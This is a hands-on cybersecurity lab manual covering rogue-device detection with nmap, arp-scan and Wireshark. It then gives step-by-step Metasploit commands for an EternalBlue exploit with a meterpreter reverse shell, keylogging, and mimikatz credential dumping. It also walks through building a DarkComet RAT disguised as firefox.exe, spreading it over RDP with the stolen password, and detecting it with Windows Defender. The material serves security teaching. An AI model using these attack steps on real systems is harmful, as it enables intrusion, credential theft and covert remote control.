Detecting Malware and Unauthorized
Devices
Introduction
Overview
The purpose of this lab is to perform to understand the security risk associated with rogue
devices and malware by learning active and passive scanning techniques. Students also
will craft, deploy, and detect malware on a machine on a network.
outcomes
In this lab, you will learn to:
Wireshark A free and open source protocol analyzer, which will allow a user to
capture network traffic or to analyze a capture file.
Zenmap A GUI front end for nmap that will allow you to scan for open ports and
services.
Metasploit A framework that contains exploits for various information systems.
nmap A port scanner which will indicate whether ports are open or closed on a
remote system.
TCP Transmission Control Protocol is a network protocol designed to send and
ensure end-to-end delivery of data packets over the Internet.
Do active and passive scanning using nmap
1
Detect rouge devices on the network using active and passive tools
2
Craft, deploy, and detect malware.
3
Key Term Description
Reading Assignment
Introduction
The purpose of this lab is to understand the security risk associated with rogue devices
and malware by learning active and passive scanning techniques. Students also will craft,
deploy, and detect malware on a machine on a network.
In this lab, you will learn to:
Perform active and passive scanning using Nmap.
Detect rouge devices on the network using active and passive tools.
Craft, deploy, and detect malware.
Figure 1 shows the lab topology. In the lab topology, you will learn how to detect those
three rogue devices on the different networks.
ifconfig
The ifconfig command is a terminal tool in Linux that enumerates all the interfaces on a
system. The ifconfig command is also used to configure interface on a Linux machine.
In this lab, you will use ifconfig command to find the three networks that are shown in
Figure 1 that you will use to do active and passive scanning with Nmap and arp-scan.
Finding Rogue Devices with arp-scan and Nmap
Two ways to find rogue devices on the network include arp-scan and Nmap. Rogue
devices connect to your network illegally to do harm to your network.
arp-scan is a command-line tool for system discovery and fingerprinting. It constructs and
sends Address Resolution Protocol (ARP) requests to the specified Internet Protocol (IP)
addresses and displays any responses that are received.
You can also use Nmap to do system discovery and fingerprinting. This lab explores the
two methods of locating rogue devices on the network.
Active, Passive, and Hybrid Scanning with Nmap
The three scanning techniques that are widely used by Nmap are active scanning, passive
scanning, and hybrid scanning. Active scanning is the technique where Nmap sends
packets to all the hosts on a network or subnet and waits for responses from them.
Passive scanning is done by examining packets sent from other nodes on a network or
subnet. Hybrid scanning is the technique where Nmap sends one or more initial packets
and then uses passive scanning to search for responses from the target host.
Wireshark—Capturing Packets
Wireshark is a network protocol analyzer. The graphical user interface (GUI) is shown in
Figure 2. It allows you to inspect and capture packets on your network. It allows you to
inspect the traffic that is transmitting on your network. In this lab, you use Wireshark to
capture and investigate packets to discover a rogue system on the network and the type
of system it is.
Keyloggers
A keylogger program captures everything that a user enters on a computer keyboard.
Kali Linux/Metasploit
Kali Linux is a Linux distribution created for digital forensics and penetration testing.
Metasploit is a penetration testing framework which comes preloaded with Kali Linux. Kali
Linux, along with Metasploit, provides tools for penetration testers to improve security
assessments and awareness. This lab uses Kali and Metasploit to explore malware.
Meterpreter
Meterpreter is a Metasploit attack payload that provides an interactive shell to the victim
machine using Metasploit. In this lab, you will use keyscan_dump (keylogger) on a victim
computer to capture keystrokes.
Nmap/Zenmap
Nmap is an open-source network vulnerability scanner used to discover hosts and open
ports/services. Zenmap is the GUI to Nmap. Figure 3 shows the GUI for Zenmap.
Craft, Deploy, and Detect Malware
DarkComet is a Trojan horse which is a type of malware that masquerades as a valid
application to persuade a victim to install it and/or launch it. Trojans spread through social
engineering and brute force hacking of systems. In this lab, you use a remote access
Trojan, called DarkComet. DarkComet is a command and control (often referred to as a
C&C) malware. It allows you to create a viable looking application that acts as a server to
the DarkComet client. Once the malware is installed, the DarkComet client can
compromise a system remotely. It sends commands to the server, and it has full access to
the system to do what it wants. In this lab, you craft, deploy, and detect the DarkComet
malware. You will detect malware using Windows Defender on a Windows machine.
CONCLUSION:
In this lab, you will learn active and passive scanning techniques to detect rogue devices
using Nmap and arp-scan and also to craft DarkComet malware that will be detected with
Windows Defender.
Determining the Network Ranges
Click on the Kali Linux icon on the topology. Type root for the Username and
click Next.
1
For the Password, type toor (root spelled backward) and click the Sign In
button.
2
Note: The password of toor will not be displayed when you type it for security
purposes.
Click the black and white icon (second from the top) to launch the Linux terminal.
3
root@kali:~# ifconfig
Type the following command to view all of the IP addresses. Press Enter.
4
CHALLENGE
This Kali system is connected to all three of the company’s
network. Your job is to determine if any rogue machines are
present on the network by using a combination of active and
passive scanning tools.
Type the following command to view the IP address of the first network. Press
Enter.
5
root@kali:~# ifconfig eth0
root@kali:~# ifconfig eth1
root@kali:~# ifconfig eth2
Type the following command to view the IP address of the second network. Press
Enter.
6
Type the following command to view the IP address of the third network. Press
Enter.
7
Below is a summary of the three networks that your Kali system is
connected to. The networks are:
Network IP Range
Network 1 192.168.1.0/24
Network 2 172.16.1.0/24
Network 3 10.0.0.0/24
CHALLENGE
DISCUSSION QUESTIONS:
What is the command-line tool used to determine the networks to scan?
1
What is the third subnet you uncovered?
2
Active and Passive Scanning
First, we will focus on the first network segment labeled Network
1:
root@kali:~# ifconfig eth0
Type the following command to view the IP address of the first network. Press
Enter.
1
root@kali:~# ping 192.168.1.1 -c 4
root@kali:~# ping 192.168.1.175 -c 4
Type the following command to verify that your device can ping the firewall on
network segment 1. Press Enter.
2
Type the following command to verify that your device can ping the Windows 8.1
workstation on network segment 1. Press Enter.
3
We will now use arp-scan and zenmap, two active scanning tools,
to determine if any rogue devices exist on the network.
root@kali:~# arp-scan192.168.1.0/24
Let’s examine the results of the scan of network segment one in
the chart below:
Network IP Range
192.168.1.1 firewall
192.168.1.175 Windows 8.1 Workstation
192.168.1.199 Rogue Device
The next thing we will do is determine more information about the
rogue device detected on the network.
CHALLENGE
root@kali:~# zenmap
Type the following command to scan the Network 1 segment for active hosts:
Press Enter.
4
Type the following command to open Zenmap. Press Enter. After Zenmap opens,
type 192.168.1.0/24in the Target box and then click the Scan button to launch
an intense scan.
5
After the scan is complete, you will see three hosts listed in the
left-hand pane.
Click on the fourth host (which is the rogue device) and click the host details
pane. Notice that the device has been running Linux and has not been turned on
long.
6
We will now save this scan on your local system so you can e-mail it to your
supervisor. To save the scan, go to Scan from the menu bar and select Save Scan.
7
For the filename, type rogue_device_network1.xml and click the Save button.
8
Select Scan from the menu bar and then select Quit to close Zenmap.
9
Next, we will focus on the second network segment labeled
Network 2:
root@kali:~# ifconfig eth1
Type the following command to view the IP Address of the second network. Press
Enter.
10
Type the following command to verify that your device can ping the Windows
server on network segment 2. Press Enter.
11
root@kali:~# ping 172.16.1.100 -c 4
We will now use nmap to perform an active scan to determine if
any rogue devices exist on the network.
root@kali:~# nmap -sP 172.16.1.0/24
Let’s examine the results of the scan of network segment 2 in the
chart below:
Network IP Range
172.16.1.100 Windows Server
172.16.1.50 Kali Linux
To avoid capturing traffic from other networks, we will shut the
other two interfaces on Kali down.
CHALLENGE
Type the following command to scan the Network 2 segment for active hosts.
Press Enter.
12
Note: No rogue devices were detected on the network using active scanning
measures.
root@kali:~# ifconfig eth2down
root@kali:~# ifconfig
root@kali:~# wireshark
Type the following command to shut down the interface connected to the first
network. Press Enter.
13
Type the following command to view all of the IP addresses. Press Enter. (Notice
that only eth1 is listed.)
14
Type the following command and press Enter to open Wireshark.
15
Select Capture from the Wireshark menu and choose Options.
16
Uncheck the box in front of any. Click Start.
17
After a short while, packets should start appearing in the packet
list.
According to the information, there is a rogue system with the
following information:
IP ADDRESS: 169.254.1.101
Computer name: ROGUETWO-WIN10
It may take up to 10 minutes for the needed packet to appear.
Click the stop button to stop the capture.
18
Click File and go to Quit to exit Wireshark. When prompted, choose Quit without
Saving.
19
root@kali:~# ifconfig eth1 169.254.1.1
root@kali:~# nmap -O169.254.1.101
Type the following command to set the IP address to the same subnet as the
rogue device. Press Enter.
20
Type the following command to scan the device and determine the operating
system. Press Enter.
21
CHALLENGE
The rogue device on Network 2 is running Windows 10. Next, we
will focus on the third network segment labeled Network 3:
To avoid capturing traffic from other networks, we will shut the
other interfaces on Kali down.
root@kali:~# ifconfig eth1 down
root@kali:~# ifconfig eth2 up
Type the following command to shut down the interface
connected to the second network. Press Enter.
22
Type the following command to bring up the interface connected to the third
network. Press Enter.
23
root@kali:~# ifconfig eth2
root@kali:~# ifconfig
Type the following command to view the IP address of the third network. Press
Enter.
24
Type the following command to view all of the IP Addresses. Press Enter. (Notice
that only eth2 is listed.)
25
Type the following command to verify that your device can ping the Windows 10
system on network segment 3. Press Enter.
26
root@kali:~# ping 10.0.0.20 -c 4
We will now use nmap to perform an active scan to determine if
any rogue devices exist on the network.
root@kali:~# nmap –sP 10.0.0.0/24
Let’s examine the results of the scan of network segment 3 in the
chart below:
Network IP Range
10.0.0.20 Windows 10
10.0.0.50 Kali Linux
Type the following command to scan the Network 3 segment for active hosts.
Press Enter.
27
Note: No rogue devices were detected on the network using active scanning
measures.
Type the following command and press Enter to open Wireshark.
28
root@kali:~# wireshark
Select Capture from the Wireshark menu and choose Options.
29
After a short while, packets should start appearing in the packet list.
According to the information, there is a rogue system with the
following information:
IP ADDRESS: 169.254.2.202
Computer name: ROGUE3-WIN7
Uncheck the box in front of any. Click Start.
30
It may take up to 10 minutes for the needed packet to appear.
Click the stop button to stop the capture.
31
Click File and go to Quit to exit Wireshark. When prompted, choose Quit without
Saving.
32
root@kali:~# ifconfig eth2 169.254.2.1
root@kali:~# nmap –O169.254.2.202
Type the following command to set the IP address to the same subnet as the
rogue device. Press Enter.
33
Type the following command to scan the device and determine the operating
system. Press Enter.
34
The rogue device on Network 3 is running Windows 7 SP 0.
CHALLENGE
DISCUSSION QUESTIONS:
Keyloggers
What is the command to use arp to determine a rogue device on a network?
1
What is the gui version of nmap?
2
What is wireshark?
3
Type the following command to restart the system and reset all of the interfaces.
Press Enter.
1
root@kali:~# init 6
Click on the Kali Linux icon on the topology. Type root for the Username and
click Next.
2
For the Password, type toor (root spelled backwards) and click the Sign In
button.
3
Note: The password of toor will not be displayed when you type it for security
purposes.
Click the black and white icon (second from the top) to launch the Linux terminal.
4
root@kali:~# ifconfig
Type the following command to view all of the IP addresses. Press Enter.
5
root@kali:~# nmap -A 172.16.1.100
Type the following command to determine if the server is vulnerable to the Eternal
Blue exploit. Press Enter.
6
CHALLENGE
root@kali:~# msfdb init
root@kali:~# msfconsole
Type the following command to initialize the database for metasploit. Press Enter.
7
Type the following command to start the metasploit console. Press Enter.
8
msf5 > use exploit/windows/smb/ms17_010_psexec
msf5 exploit (windows/smb/ms17_010_psexec) > set lhost 172.16.1.50
msf5 exploit (windows/smb/ms17_010_psexec) > set rhost 172.16.1.100
Type the following command to use the Eternal Blue exploit. Press Enter.
9
Type the following command to set the local host. Press Enter.
10
Type the following command to set the remote host. Press Enter.
11
msf5 exploit (windows/smb/ms17_010_psexec) > set payload
windows/meterpreter/reverse_tcp
msf5 exploit (windows/smb/ms17_010_psexec) > exploit
meterpreter> getsystem
meterpreter> getuid
Type the following command to select the payload. Press Enter.
12
Type the following command to exploit the target. Press Enter.
13
Type the following command within the meterpreter prompt to securethe
appropriatelevel of access. Press Enter.
14
Type the following command within the meterpreter prompt to determine the level
of access. Press Enter.
15
meterpreter> ps
Type the following command within the meterpreter prompt to list processes.
Press Enter.
16
Click on the Windows Server icon in the network topology. After the machine
finishes booting, click the Send Ctrl+Alt+Delete button in the upper right corner.
17
Log on as administrator with the password of P@ssw0rd and then click the arrow.
18
Note: The password of P@ssw0rd will not be displayed when you type it for
security purposes.
Double-click on the Command Prompt shortcut on the Windows Server desktop.
19
CHALLENGE
meterpreter> ps
Switch back to the Kali machine. Type the following command within the
meterpreter prompt to list processes. Press Enter.
20
Notice that the administrator is now listed. Find the first number to the right of the
cmd.exe process.
21
Note: The number will be different than the one displayed in the example.
meterpreter> migrate 3792
meterpreter> getuid
meterpreter> keyscan_start
C:\Windows\System32>ipconfig /all
Type the following command within the meterpreter prompt to migrate to the
cmd.exe process. Press Enter.
22
Note: The number will be different than the one displayed in the example.
Type the following command within the meterpreter prompt to determine the level
of access. Press Enter.
23
Type the following command within the meterpreter prompt to start the
keylogger. Press Enter.
24
Switch back to the Windows server. Type the following command within the
command prompt to view your IP Address. Press Enter.
25
C:\Windows\System32>dir c:\
Type the following command within the command prompt to view files and
folders. Press Enter.
26
Open Chrome on the desktop and visit the following URL: 127.0.0.1:2222.
27
Type an e-mail address and a password and then click Log In.
28
Note: It is not the real Facebook page, so you can type anything you want.
meterpreter> keyscan_dump
meterpreter> load mimikatz
meterpreter> kerberos
Type the following command within the meterpreter prompt to start the
keylogger. Press Enter.
29
Type the following command within the meterpreter prompt to load mimikatz.
Press Enter.
30
Type the following command within the meterpreter prompt to dump the
passwords.
31
CHALLENGE
DISCUSSION QUESTIONS:
Examining Malware
Building and Deploying the Malware
What is the name of the keylogger used to capture keystrokes on a machine?
1
What is meterpreter?
2
Click on the Windows 8.1 icon on the topology.
1
Double-click on the Malware folder on the Windows 8.1 desktop.
2
Highlight the DarkComet.7z file within the Malware folder. Right-click on 7-Zip
and select Extract to “DarkComet\”.
3
Double-click on DarkComet.exe to launch the program.
4
Click Allow access when you receive a Windows Security Alert.
5
From the DarkComet-RAT menu bar, select Listen to new port (+Listen).
6
Type 443 in the Listen port box and click the Listen button.
7
From the DarkComet-RAT menu bar, click Server module (657.50KB), and then
select Full editor (Expert).
8
Click on Network Settings. When this opens, for IP/DNS, type 192.168.1.175
(the IP address of the Windows 8.1 machine), and for Port, type 443(almost
always allowed out). Then click ADD.
9
Click Choose Icon from the list. Select Custom icon. Choose the Firefox icon.
10
Click Stub Finalization. For the Compress Executable (Pack), select UPX (Ultimate
Packer Executable). Click Build The Stub to create the malware payload.
11
Click the link to the Desktop. For the File name, type firefox and click the Save
button.
12
You should see firefox.exe malware on your desktop. Right-click on the file and
select Copy.
13
Click on the X in the upper right-hand corner to close the Create a new stub
program.
14
Double-click the cmd-Shortcut link on the external Windows 8.1 desktop.
15
C:\>nmap 172.16.1.100 -p 3389
CHALLENGE
Type the following command and press Enter to determine if RDP is open on
Windows Server.
16
Type the following command and press Enter to launch the Microsoft Terminal
Service Client.
17
C:\>mstsc
If you recall earlier, we stole the password to the system.
In the Computer box, type 172.16.1.100 and then click the Connect button.
18
For the username, type administrator, and for the password, type P@ssw0rd.
Click OK.
19
Note: The password of P@ssw0rd will not be displayed when you type it for
security purposes.
Click Yes to the Remote Desktop Connection warning screen.
20
The remote Windows 2008 R2 Server desktop will now be
displayed on your machine.
Right-click on the Windows Server desktop you are connected to and click Paste.
21
Double-click on the malicious file.
22
The connection to the victim will be displayed in the DarkComet-
RAT console.
Click the Minimizeline on the 172.16.1.100 pane to minimize the Windows Server.
23
C:\>nmap 10.0.0.20 -p 3389
C:\>mstsc
Type the following command and press Enter to determine if RDP is open on
Windows 10.
24
Type the following command and press Enter to launch the Microsoft Terminal
Service Client.
25
If you recall earlier, we stole the password to the server which is
also likely used on the client.
In the Computer box, type 10.0.0.20 and then click the Connect button.
26
For the username, type administrator, and for the password, type P@ssw0rd.
Click OK.
27
Note: The password of P@ssw0rd will not be displayed when you type it for
security purposes.
Click Yes to the Remote Desktop Connection warning screen.
28
The remote Windows 10 Desktop will now be displayed on your machine.
Right-click on the Windows 10 Desktop you are connected to and click Paste.
29
Clickin the Windows Search Box and type Windows Defender. Click the
Windows Defender App.
30
In Windows Defender, click the History tab and then click View details.
31
In Windows Defender, scroll down to view the malware name. Click the Remove
all button.
32
CHALLENGE
DISCUSSION QUESTIONS:
Note: Press the STOP button to complete the lab.
What is the name of the malware that you use to craft and deploy?
1
How was the malware detected on the Windows machine?
2